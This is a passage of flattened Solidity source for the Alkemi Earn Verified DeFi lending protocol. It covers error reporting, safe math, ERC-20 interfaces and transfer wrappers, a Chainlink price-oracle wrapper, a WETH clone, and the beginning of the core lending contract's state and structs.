WITHDRAW_CONTRACT_PAUSED, WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED, WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED, WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED, WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED, WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, WITHDRAW_TRANSFER_OUT_FAILED, WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE, KYC_ADMIN_CHECK_FAILED, KYC_ADMIN_ADD_OR_DELETE_ADMIN_CHECK_FAILED, KYC_CUSTOMER_VERIFICATION_CHECK_FAILED, LIQUIDATOR_CHECK_FAILED, LIQUIDATOR_ADD_OR_DELETE_ADMIN_CHECK_FAILED, SET_WETH_ADDRESS_ADMIN_CHECK_FAILED, WETH_ADDRESS_NOT_SET_ERROR, SEND_ETHER_ADMIN_CHECK_FAILED, ETHER_AMOUNT_MISMATCH_ERROR } /** * @dev use this when reporting a known error from the Alkemi Earn Verified or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint256) { emit Failure(uint256(err), uint256(info), 0); return uint256(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(FailureInfo info, uint256 opaqueError) internal returns (uint256) { emit Failure(uint256(Error.OPAQUE_ERROR), uint256(info), opaqueError); return uint256(Error.OPAQUE_ERROR); } } // File: contracts/CarefulMath.sol // Cloned from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol -> Commit id: 24a0bc2 // and added custom functions related to Alkemi pragma solidity 0.4.24; /** * @title Careful Math * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol */ contract CarefulMath is ErrorReporter { /** * @dev Multiplies two numbers, returns an error on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (Error, uint256) { if (a == 0) { return (Error.NO_ERROR, 0); } uint256 c = a * b; if (c / a != b) { return (Error.INTEGER_OVERFLOW, 0); } else { return (Error.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (Error, uint256) { if (b == 0) { return (Error.DIVISION_BY_ZERO, 0); } return (Error.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (Error, uint256) { if (b <= a) { return (Error.NO_ERROR, a - b); } else { return (Error.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function add(uint256 a, uint256 b) internal pure returns (Error, uint256) { uint256 c = a + b; if (c >= a) { return (Error.NO_ERROR, c); } else { return (Error.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSub( uint256 a, uint256 b, uint256 c ) internal pure returns (Error, uint256) { (Error err0, uint256 sum) = add(a, b); if (err0 != Error.NO_ERROR) { return (err0, 0); } return sub(sum, c); } } // File: contracts/Exponential.sol // Cloned from https://github.com/compound-finance/compound-money-market/blob/master/contracts/Exponential.sol -> Commit id: 241541a pragma solidity 0.4.24; contract Exponential is ErrorReporter, CarefulMath { // Per https://solidity.readthedocs.io/en/latest/contracts.html#constant-state-variables // the optimizer MAY replace the expression 10**18 with its calculated value. uint256 constant expScale = 10**18; uint256 constant halfExpScale = expScale / 2; struct Exp { uint256 mantissa; } uint256 constant mantissaOne = 10**18; // Though unused, the below variable cannot be deleted as it will hinder upgradeability // Will be cleared during the next compiler version upgrade uint256 constant mantissaOneTenth = 10**17; /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint256 num, uint256 denom) internal pure returns (Error, Exp memory) { (Error err0, uint256 scaledNumerator) = mul(num, expScale); if (err0 != Error.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (Error err1, uint256 rational) = div(scaledNumerator, denom); if (err1 != Error.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (Error.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) internal pure returns (Error, Exp memory) { (Error error, uint256 result) = add(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) internal pure returns (Error, Exp memory) { (Error error, uint256 result) = sub(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint256 scalar) internal pure returns (Error, Exp memory) { (Error err0, uint256 scaledMantissa) = mul(a.mantissa, scalar); if (err0 != Error.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (Error.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint256 scalar) internal pure returns (Error, Exp memory) { (Error err0, uint256 descaledMantissa) = div(a.mantissa, scalar); if (err0 != Error.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (Error.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint256 scalar, Exp divisor) internal pure returns (Error, Exp memory) { /* We are doing this as: getExp(mul(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (Error err0, uint256 numerator) = mul(expScale, scalar); if (err0 != Error.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) internal pure returns (Error, Exp memory) { (Error err0, uint256 doubleScaledProduct) = mul(a.mantissa, b.mantissa); if (err0 != Error.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (Error err1, uint256 doubleScaledProductWithHalfScale) = add( halfExpScale, doubleScaledProduct ); if (err1 != Error.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (Error err2, uint256 product) = div( doubleScaledProductWithHalfScale, expScale ); // The only error `div` can return is Error.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == Error.NO_ERROR); return (Error.NO_ERROR, Exp({mantissa: product})); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) internal pure returns (Error, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * (10**18)}) = 15 */ function truncate(Exp memory exp) internal pure returns (uint256) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) internal pure returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) internal pure returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if first Exp is greater than second Exp. */ function greaterThanExp(Exp memory left, Exp memory right) internal pure returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) internal pure returns (bool) { return value.mantissa == 0; } } // File: contracts/InterestRateModel.sol pragma solidity 0.4.24; /** * @title InterestRateModel Interface * @notice Any interest rate model should derive from this contract. * @dev These functions are specifically not marked `pure` as implementations of this * contract may read from storage variables. */ contract InterestRateModel { /** * @notice Gets the current supply interest rate based on the given asset, total cash and total borrows * @dev The return value should be scaled by 1e18, thus a return value of * `(true, 1000000000000)` implies an interest rate of 0.000001 or 0.0001% *per block*. * @param asset The asset to get the interest rate of * @param cash The total cash of the asset in the market * @param borrows The total borrows of the asset in the market * @return Success or failure and the supply interest rate per block scaled by 10e18 */ function getSupplyRate( address asset, uint256 cash, uint256 borrows ) public view returns (uint256, uint256); /** * @notice Gets the current borrow interest rate based on the given asset, total cash and total borrows * @dev The return value should be scaled by 1e18, thus a return value of * `(true, 1000000000000)` implies an interest rate of 0.000001 or 0.0001% *per block*. * @param asset The asset to get the interest rate of * @param cash The total cash of the asset in the market * @param borrows The total borrows of the asset in the market * @return Success or failure and the borrow interest rate per block scaled by 10e18 */ function getBorrowRate( address asset, uint256 cash, uint256 borrows ) public view returns (uint256, uint256); } // File: contracts/EIP20Interface.sol // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 pragma solidity 0.4.24; contract EIP20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ // total amount of tokens uint256 public totalSupply; // token decimals uint8 public decimals; // maximum is 18 decimals /** * @param _owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address _owner) public view returns (uint256 balance); /** * @notice send `_value` token to `_to` from `msg.sender` * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transfer(address _to, uint256 _value) public returns (bool success); /** * @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool success); /** * @notice `msg.sender` approves `_spender` to spend `_value` tokens * @param _spender The address of the account able to transfer the tokens * @param _value The amount of tokens to be approved for transfer * @return Whether the approval was successful or not */ function approve(address _spender, uint256 _value) public returns (bool success); /** * @param _owner The address of the account owning tokens * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens allowed to spent */ function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); } // File: contracts/EIP20NonStandardInterface.sol // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 pragma solidity 0.4.24; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ contract EIP20NonStandardInterface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ // total amount of tokens uint256 public totalSupply; /** * @param _owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address _owner) public view returns (uint256 balance); /** * !!!!!!!!!!!!!! * !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification * !!!!!!!!!!!!!! * * @notice send `_value` token to `_to` from `msg.sender` * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transfer(address _to, uint256 _value) public; /** * * !!!!!!!!!!!!!! * !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification * !!!!!!!!!!!!!! * * @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transferFrom( address _from, address _to, uint256 _value ) public; /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /** * @param _owner The address of the account owning tokens * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens allowed to spent */ function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); } // File: contracts/SafeToken.sol pragma solidity 0.4.24; contract SafeToken is ErrorReporter { /** * @dev Checks whether or not there is sufficient allowance for this contract to move amount from `from` and * whether or not `from` has a balance of at least `amount`. Does NOT do a transfer. */ function checkTransferIn( address asset, address from, uint256 amount ) internal view returns (Error) { EIP20Interface token = EIP20Interface(asset); if (token.allowance(from, address(this)) < amount) { return Error.TOKEN_INSUFFICIENT_ALLOWANCE; } if (token.balanceOf(from) < amount) { return Error.TOKEN_INSUFFICIENT_BALANCE; } return Error.NO_ERROR; } /** * @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and returns an explanatory * error code rather than reverting. If caller has not called `checkTransferIn`, this may revert due to * insufficient balance or insufficient allowance. If caller has called `checkTransferIn` prior to this call, * and it returned Error.NO_ERROR, this should not revert in normal conditions. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferIn( address asset, address from, uint256 amount ) internal returns (Error) { EIP20NonStandardInterface token = EIP20NonStandardInterface(asset); bool result; token.transferFrom(from, address(this), amount); assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 result := not(0) // set result to true } case 32 { // This is a compliant ERC-20 returndatacopy(0, 0, 32) result := mload(0) // Set `result = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } if (!result) { return Error.TOKEN_TRANSFER_FAILED; } return Error.NO_ERROR; } /** * @dev Checks balance of this contract in asset */ function getCash(address asset) internal view returns (uint256) { EIP20Interface token = EIP20Interface(asset); return token.balanceOf(address(this)); } /** * @dev Checks balance of `from` in `asset` */ function getBalanceOf(address asset, address from) internal view returns (uint256) { EIP20Interface token = EIP20Interface(asset); return token.balanceOf(from); } /** * @dev Similar to EIP20 transfer, except it handles a False result from `transfer` and returns an explanatory * error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to * insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified * it is >= amount, this should not revert in normal conditions. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferOut( address asset, address to, uint256 amount ) internal returns (Error) { EIP20NonStandardInterface token = EIP20NonStandardInterface(asset); bool result; token.transfer(to, amount); assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 result := not(0) // set result to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) result := mload(0) // Set `result = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } if (!result) { return Error.TOKEN_TRANSFER_OUT_FAILED; } return Error.NO_ERROR; } function doApprove( address asset, address to, uint256 amount ) internal returns (Error) { EIP20NonStandardInterface token = EIP20NonStandardInterface(asset); bool result; token.approve(to, amount); assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 result := not(0) // set result to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) result := mload(0) // Set `result = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } if (!result) { return Error.TOKEN_TRANSFER_OUT_FAILED; } return Error.NO_ERROR; } } // File: contracts/AggregatorV3Interface.sol pragma solidity 0.4.24; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // File: contracts/ChainLink.sol pragma solidity 0.4.24; contract ChainLink { mapping(address => AggregatorV3Interface) internal priceContractMapping; address public admin; bool public paused = false; address public wethAddressVerified; address public wethAddressPublic; AggregatorV3Interface public USDETHPriceFeed; uint256 constant expScale = 10**18; uint8 constant eighteen = 18; /** * Sets the admin * Add assets and set Weth Address using their own functions */ constructor() public { admin = msg.sender; } /** * Modifier to restrict functions only by admins */ modifier onlyAdmin() { require( msg.sender == admin, "Only the Admin can perform this operation" ); _; } /** * Event declarations for all the operations of this contract */ event assetAdded( address indexed assetAddress, address indexed priceFeedContract ); event assetRemoved(address indexed assetAddress); event adminChanged(address indexed oldAdmin, address indexed newAdmin); event verifiedWethAddressSet(address indexed wethAddressVerified); event publicWethAddressSet(address indexed wethAddressPublic); event contractPausedOrUnpaused(bool currentStatus); /** * Allows admin to add a new asset for price tracking */ function addAsset(address assetAddress, address priceFeedContract) public onlyAdmin { require( assetAddress != address(0) && priceFeedContract != address(0), "Asset or Price Feed address cannot be 0x00" ); priceContractMapping[assetAddress] = AggregatorV3Interface( priceFeedContract ); emit assetAdded(assetAddress, priceFeedContract); } /** * Allows admin to remove an existing asset from price tracking */ function removeAsset(address assetAddress) public onlyAdmin { require( assetAddress != address(0), "Asset or Price Feed address cannot be 0x00" ); priceContractMapping[assetAddress] = AggregatorV3Interface(address(0)); emit assetRemoved(assetAddress); } /** * Allows admin to change the admin of the contract */ function changeAdmin(address newAdmin) public onlyAdmin { require( newAdmin != address(0), "Asset or Price Feed address cannot be 0x00" ); emit adminChanged(admin, newAdmin); admin = newAdmin; } /** * Allows admin to set the weth address for verified protocol */ function setWethAddressVerified(address _wethAddressVerified) public onlyAdmin { require(_wethAddressVerified != address(0), "WETH address cannot be 0x00"); wethAddressVerified = _wethAddressVerified; emit verifiedWethAddressSet(_wethAddressVerified); } /** * Allows admin to set the weth address for public protocol */ function setWethAddressPublic(address _wethAddressPublic) public onlyAdmin { require(_wethAddressPublic != address(0), "WETH address cannot be 0x00"); wethAddressPublic = _wethAddressPublic; emit publicWethAddressSet(_wethAddressPublic); } /** * Allows admin to pause and unpause the contract */ function togglePause() public onlyAdmin { if (paused) { paused = false; emit contractPausedOrUnpaused(false); } else { paused = true; emit contractPausedOrUnpaused(true); } } /** * Returns the latest price scaled to 1e18 scale */ function getAssetPrice(address asset) public view returns (uint256, uint8) { // Return 1 * 10^18 for WETH, otherwise return actual price if (!paused) { if ( asset == wethAddressVerified || asset == wethAddressPublic ){ return (expScale, eighteen); } } // Capture the decimals in the ERC20 token uint8 assetDecimals = EIP20Interface(asset).decimals(); if (!paused && priceContractMapping[asset] != address(0)) { ( uint80 roundID, int256 price, uint256 startedAt, uint256 timeStamp, uint80 answeredInRound ) = priceContractMapping[asset].latestRoundData(); startedAt; // To avoid compiler warnings for unused local variable // If the price data was not refreshed for the past 1 day, prices are considered stale // This threshold is the maximum Chainlink uses to update the price feeds require(timeStamp > (now - 86500 seconds), "Stale data"); // If answeredInRound is less than roundID, prices are considered stale require(answeredInRound >= roundID, "Stale Data"); if (price > 0) { // Magnify the result based on decimals return (uint256(price), assetDecimals); } else { return (0, assetDecimals); } } else { return (0, assetDecimals); } } function() public payable { require( msg.sender.send(msg.value), "Fallback function initiated but refund failed" ); } } // File: contracts/AlkemiWETH.sol // Cloned from https://github.com/gnosis/canonical-weth/blob/master/contracts/WETH9.sol -> Commit id: 0dd1ea3 pragma solidity 0.4.24; contract AlkemiWETH { string public name = "Wrapped Ether"; string public symbol = "WETH"; uint8 public decimals = 18; event Approval(address indexed src, address indexed guy, uint256 wad); event Transfer(address indexed src, address indexed dst, uint256 wad); event Deposit(address indexed dst, uint256 wad); event Withdrawal(address indexed src, uint256 wad); mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; function() public payable { deposit(); } function deposit() public payable { balanceOf[msg.sender] += msg.value; emit Deposit(msg.sender, msg.value); emit Transfer(address(0), msg.sender, msg.value); } function withdraw(address user, uint256 wad) public { require(balanceOf[msg.sender] >= wad); balanceOf[msg.sender] -= wad; user.transfer(wad); emit Withdrawal(msg.sender, wad); emit Transfer(msg.sender, address(0), wad); } function totalSupply() public view returns (uint256) { return address(this).balance; } function approve(address guy, uint256 wad) public returns (bool) { allowance[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } function transfer(address dst, uint256 wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom( address src, address dst, uint256 wad ) public returns (bool) { require(balanceOf[src] >= wad); if (src != msg.sender && allowance[src][msg.sender] != uint256(-1)) { require(allowance[src][msg.sender] >= wad); allowance[src][msg.sender] -= wad; } balanceOf[src] -= wad; balanceOf[dst] += wad; emit Transfer(src, dst, wad); return true; } } // File: contracts/RewardControlInterface.sol pragma solidity 0.4.24; contract RewardControlInterface { /** * @notice Refresh ALK supply index for the specified market and supplier * @param market The market whose supply index to update * @param supplier The address of the supplier to distribute ALK to * @param isVerified Verified / Public protocol */ function refreshAlkSupplyIndex( address market, address supplier, bool isVerified ) external; /** * @notice Refresh ALK borrow index for the specified market and borrower * @param market The market whose borrow index to update * @param borrower The address of the borrower to distribute ALK to * @param isVerified Verified / Public protocol */ function refreshAlkBorrowIndex( address market, address borrower, bool isVerified ) external; /** * @notice Claim all the ALK accrued by holder in all markets * @param holder The address to claim ALK for */ function claimAlk(address holder) external; /** * @notice Claim all the ALK accrued by holder by refreshing the indexes on the specified market only * @param holder The address to claim ALK for * @param market The address of the market to refresh the indexes for * @param isVerified Verified / Public protocol */ function claimAlk( address holder, address market, bool isVerified ) external; } // File: contracts/AlkemiEarnVerified.sol pragma solidity 0.4.24; contract AlkemiEarnVerified is Exponential, SafeToken { uint256 internal initialInterestIndex; uint256 internal defaultOriginationFee; uint256 internal defaultCollateralRatio; uint256 internal defaultLiquidationDiscount; // minimumCollateralRatioMantissa and maximumLiquidationDiscountMantissa cannot be declared as constants due to upgradeability // Values cannot be assigned directly as OpenZeppelin upgrades do not support the same // Values can only be assigned using initializer() below // However, there is no way to change the below values using any functions and hence they act as constants uint256 public minimumCollateralRatioMantissa; uint256 public maximumLiquidationDiscountMantissa; bool private initializationDone; // To make sure initializer is called only once /** * @notice `AlkemiEarnVerified` is the core contract * @notice This contract uses Openzeppelin Upgrades plugin to make use of the upgradeability functionality using proxies * @notice Hence this contract has an 'initializer' in place of a 'constructor' * @notice Make sure to add new global variables only at the bottom of all the existing global variables i.e., line #344 * @notice Also make sure to do extensive testing while modifying any structs and enums during an upgrade */ function initializer() public { if (initializationDone == false) { initializationDone = true; admin = msg.sender; initialInterestIndex = 10**18; minimumCollateralRatioMantissa = 11 * (10**17); // 1.1 maximumLiquidationDiscountMantissa = (10**17); // 0.1 collateralRatio = Exp({mantissa: 125 * (10**16)}); originationFee = Exp({mantissa: (10**15)}); liquidationDiscount = Exp({mantissa: (10**17)}); // oracle must be configured via _adminFunctions } } /** * @notice Do not pay directly into AlkemiEarnVerified, please use `supply`. */ function() public payable { revert(); } /** * @dev pending Administrator for this contract. */ address public pendingAdmin; /** * @dev Administrator for this contract. Initially set in constructor, but can * be changed by the admin itself. */ address public admin; /** * @dev Managers for this contract with limited permissions. Can * be changed by the admin. * Though unused, the below variable cannot be deleted as it will hinder upgradeability * Will be cleared during the next compiler version upgrade */ mapping(address => bool) public managers; /** * @dev Account allowed to set oracle prices for this contract. Initially set * in constructor, but can be changed by the admin. */ address private oracle; /** * @dev Modifier to check if the caller is the admin of the contract */ modifier onlyOwner() { require(msg.sender == admin, "Owner check failed"); _; } /** * @dev Modifier to check if the caller is KYC verified */ modifier onlyCustomerWithKYC() { require( customersWithKYC[msg.sender], "KYC_CUSTOMER_VERIFICATION_CHECK_FAILED" ); _; } /** * @dev Account allowed to fetch chainlink oracle prices for this contract. Can be changed by the admin. */ ChainLink public priceOracle; /** * @dev Container for customer balance information written to storage. * * struct Balance { * principal = customer total balance with accrued interest after applying the customer's most recent balance-changing action * interestIndex = Checkpoint for interest calculation after the customer's most recent balance-changing action * } */ struct Balance { uint256 principal; uint256 interestIndex; } /** * @dev 2-level map: customerAddress -> assetAddress -> balance for supplies */ mapping(address => mapping(address => Balance)) public supplyBalances; /** * @dev 2-level map: customerAddress -> assetAddress -> balance for borrows */ mapping(address => mapping(address => Balance)) public borrowBalances; /** * @dev Container for per-asset balance sheet and interest rate information written to storage, intended to be stored in a map where the asset address is the key * * struct Market { * isSupported = Whether this market is supported or not (not to be confused with the list of collateral assets) * blockNumber = when the other values in this struct were calculated * interestRateModel = Interest Rate model, which calculates supply interest rate and borrow interest rate based on Utilization, used for the asset * totalSupply = total amount of this asset supplied (in asset wei) * supplyRateMantissa = the per-block interest rate for supplies of asset as of blockNumber, scaled by 10e18 * supplyIndex = the interest index for supplies of asset as of blockNumber; initialized in _supportMarket * totalBorrows = total amount of this asset borrowed (in asset wei) * borrowRateMantissa = the per-block interest rate for borrows of asset as of blockNumber, scaled by 10e18 * borrowIndex = the interest index for borrows of asset as of blockNumber; initialized in _supportMarket * } */ struct Market { bool isSupported; uint256 blockNumber; InterestRateModel interestRateModel; uint256 totalSupply; uint256 supplyRateMantissa; uint256 supplyIndex; uint256 totalBorrows; uint256 borrowRateMantissa; uint256 borrowIndex; } /** * @dev wethAddress to hold the WETH token contract address * set using setWethAddress function */ address private wethAddress; /** * @dev Initiates the contract for supply and withdraw Ether and conversion to WETH */ AlkemiWETH public WETHContract; /** * @dev map: assetAddress -> Market */ mapping(address => Market) public markets; /** * @dev list: collateralMarkets */ address[] public collateralMarkets; /** * @dev The collateral ratio that borrows must maintain (e.g. 2 implies 2:1). This * is initially set in the constructor, but can be changed by the admin. */ Exp public collateralRatio; /** * @dev originationFee for new borrows. * */ Exp public originationFee; /** * @dev liquidationDiscount for collateral when liquidating borrows * */ Exp public liquidationDiscount; /** * @dev flag for whether or not contract is paused * */ bool public paused; /** * @dev Mapping to identify the list of KYC Admins */ mapping(address => bool) public KYCAdmins; /** * @dev Mapping to identify the list of customers with verified KYC */ mapping(address => bool) public customersWithKYC; /** * @dev Mapping to identify the list of customers with Liquidator roles */ mapping(address => bool) public liquidators; /** * The `SupplyLocalVars` struct is used internally in the `supply` function. * * To avoid solidity limits on the number of local variables we: * 1. Use a struct to hold local computation localResults * 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults * requires either both to be declared inline or both to be previously declared. * 3. Re-use a boolean error-like return variable. */ struct SupplyLocalVars { uint256 startingBalance; uint256 newSupplyIndex; uint256 userSupplyCurrent; uint256 userSupplyUpdated; uint256 newTotalSupply; uint256 currentCash; uint256 updatedCash; uint256 newSupplyRateMantissa; uint256 newBorrowIndex; uint256 newBorrowRateMantissa; } /** * The `WithdrawLocalVars` struct is used internally in the `withdraw` function. * * To avoid solidity limits on the number of local variables we: * 1. Use a struct to hold local computation localResults * 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults * requires either both to be declared inline or both to be previously declared. * 3. Re-use a boolean error-like return variable. */ struct WithdrawLocalVars { uint256 withdrawAmount; uint256 startingBalance; uint256 newSupplyIndex; uint256 userSupplyCurrent; uint256 userSupplyUpdated; uint256 newTotalSupply; uint256 currentCash; uint256 updatedCash; uint256 newSupplyRateMantissa; uint256 newBorrowIndex; uint256 newBorrowRateMantissa; uint256 withdrawCapacity; Exp accountLiquidity; Exp accountShortfall; Exp ethValueOfWithdrawal; } // The `AccountValueLocalVars` struct is used internally in the `CalculateAccountValuesInternal` function. struct AccountValueLocalVars { address assetAddress; uint256 collateralMarketsLength; uint256 newSupplyIndex; uint256 userSupplyCurrent; uint256 newBorrowIndex; uint256 userBorrowCurrent; Exp borrowTotalValue; Exp sumBorrows; Exp supplyTotalValue; Exp sumSupplies; } // The `PayBorrowLocalVars` struct is used internally in the `repayBorrow` function. struct PayBorrowLocalVars { uint256 newBorrowIndex; uint256 userBorrowCurrent; uint256 repayAmount; uint256 userBorrowUpdated; uint256 newTotalBorrows; uint256 currentCash; uint256 updatedCash; uint256 newSupplyIndex; uint256 newSupplyRateMantissa; uint256 newBorrowRateMantissa; uint256 startingBalance; } // The `BorrowLocalVars` struct is used internally in the `borrow` function. struct BorrowLocalVars { uint256 newBorrowIndex; uint256 userBorrowCurrent; uint256 borrowAmountWithFee; uint256 userBorrowUpdated; uint256 newTotalBorrows; uint256 currentCash; uint256 updatedCash; uint256 newSupplyIndex; uint256 newSupplyRateMantissa; uint256 newBorrowRateMantissa; uint256 startingBalance; Exp accountLiquidity; Exp accountShortfall; Exp ethValueOfBorrowAmountWithFee; } // The `LiquidateLocalVars` struct is used internally in the `liquidateBorrow` function. struct LiquidateLocalVars { // we need these addresses in the struct for use with `emitLiquidationEvent` to avoid `CompilerError: Stack too deep, try removing local variables.` address targetAccount; address assetBorrow; address liquidator; address assetCollateral; // borrow index and supply index are global to the asset, not specific to the user uint256 newBorrowIndex_UnderwaterAsset; uint256 newSupplyIndex_UnderwaterAsset; uint256 newBorrowIndex_CollateralAsset; uint256 newSupplyIndex_CollateralAsset; // the target borrow's full balance with accumulated interest uint256 currentBorrowBalance_TargetUnderwaterAsset; // currentBorrowBalance_TargetUnderwaterAsset minus whatever gets repaid as part of the liquidation uint256 updatedBorrowBalance_TargetUnderwaterAsset; uint256 newTotalBorrows_ProtocolUnderwaterAsset; uint256 startingBorrowBalance_TargetUnderwaterAsset; uint256 startingSupplyBalance_TargetCollateralAsset; uint256 startingSupplyBalance_LiquidatorCollateralAsset; uint256 currentSupplyBalance_TargetCollateralAsset; uint256 updatedSupplyBalance_TargetCollateralAsset; // If liquidator already has a balance of 